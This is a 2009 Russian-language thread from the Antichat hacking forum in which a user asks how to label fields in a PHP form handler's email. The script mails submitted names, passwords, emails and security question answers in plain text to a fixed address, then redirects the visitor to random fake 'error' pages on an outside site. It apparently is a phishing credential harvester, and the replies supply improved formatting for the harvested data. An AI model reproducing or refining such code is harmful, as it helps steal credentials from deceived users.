ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

наименование в переменным
  #1  
Старый 06.08.2009, 23:03
Аватар для Lionis
Lionis
Познающий
Регистрация: 13.12.2008
Сообщений: 75
Провел на форуме:
128428

Репутация: 20
Question наименование в переменным

Здравствуйте , есть форма отправки e-mail / оператор отправляющий сам контент письма , отправляет только данные формы с новой строки . Можно ли стоку наименовать . Например чтобы
Код:
$name
приходило например как Имя : Ivan .
PHP код:
<?php
$res_mail 
'test@test.com'//
$name trim(strip_tags($_POST[name]));
$pass trim(strip_tags($_POST[pass]));
$pass2 trim(strip_tags($_POST[pass2]));
$mails trim(strip_tags($_POST[mails]));
$question trim(strip_tags($_POST[question]));
$question2 trim(strip_tags($_POST[question2]));
mail($res_mail,'loto regestration',$name."\n".$pass."\n".$pass2."\n".$mails."\n".$question."\n".$question2);
$adresses = array('','http://capitalism.pcriot.com/error-204.html','http://capitalism.pcriot.com/error-203_201_007699.html','http://capitalism.pcriot.com/error-201.html');
header("Location: ".$adresses[rand(1,sizeof($adresses)-1)]);
?>
---
Каждому ответившему +10 , спасибо .
 
Ответить с цитированием

  #2  
Старый 06.08.2009, 23:11
Аватар для xa-xa89
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

Цитата:
Можно ли стоку наименовать
что значит наименовать?
 
Ответить с цитированием

$name
  #3  
Старый 06.08.2009, 23:16
Аватар для Lionis
Lionis
Познающий
Регистрация: 13.12.2008
Сообщений: 75
Провел на форуме:
128428

Репутация: 20
Exclamation $name

Цитата:
Сообщение от xa-xa89  
что значит наименовать?
Ну чтобы письмо пришло , и перед каждой переменной было название .
у представь переменные :
Код:
$name1
$name2
$name3
$name4
передаются данные что:
Код:
$name1 = Иван
$name2 = Александр
$name3 = Роман
$name4 = Виктор
На данный момент мне приходит на мейл в таком виде :
Код:
Иван
Александр
Роман
Виктор
А я бы хотел чтобы каждая строка была наименована , т.е приходила в таком виде :
Имя 1 : Иван
Имя 2 : Александр
Имя 3 : Роман
Имя 4 : Виктор
---
ясно ?
 
Ответить с цитированием

thx
  #4  
Старый 06.08.2009, 23:32
Аватар для Lionis
Lionis
Познающий
Регистрация: 13.12.2008
Сообщений: 75
Провел на форуме:
128428

Репутация: 20
Lightbulb thx

Спасибо , то что нужно
Цитата:
Сообщение от FireFenix  
Мозг опасносте!!!! Пыщь пыщь!!!!
Сформируй более корректно мысли!

Если тебе нужно в тексте указать наименование переменной или любое другое название, то будет типа:
PHP код:
//текст письма
$text =  '$name = ' $name "\r\n" '$pass = ' $pass  "\r\n" '$pass2 = ' $pass2 "\r\n" '$mails = ' $mails "\r\n" '$question = ' .  $question  "\r\n" '$question2 = ' $question2;
//отправка письма
mail($res_mail'loto regestration'$text); 
Если что-то нужно другое - исправь как тебе нужно в переменной $text
 
Ответить с цитированием

  #5  
Старый 07.08.2009, 04:00
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
$name = trim(strip_tags($_POST[name]));
$pass = trim(strip_tags($_POST[pass]));
$pass2 = trim(strip_tags($_POST[pass2]));
$mails = trim(strip_tags($_POST[mails]));
Так не делается, зачем trim() в форме? Если ты ввел с пробелами по сторонам в форме значит руки ебутся или значит пробел был нужен, убери trim() ето тебе не file()
 
Ответить с цитированием

  #6  
Старый 07.08.2009, 07:15
Аватар для .::BARS::.
.::BARS::.
Постоянный
Регистрация: 13.10.2007
Сообщений: 347
Провел на форуме:
1345617

Репутация: 115
По умолчанию

Цитата:
$name1 = "Имя1 : ".trim(strip_tags($_POST[name1])); //иван
$name2 = "Имя2 : ".trim(strip_tags($_POST[name2])); //леха
$name3 = "Имя3 : ".trim(strip_tags($_POST[name3])); //паха
$name4 = "Имя4 : ".trim(strip_tags($_POST[name4])); //жека
=))))

и все равно суть вопроса не понял
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ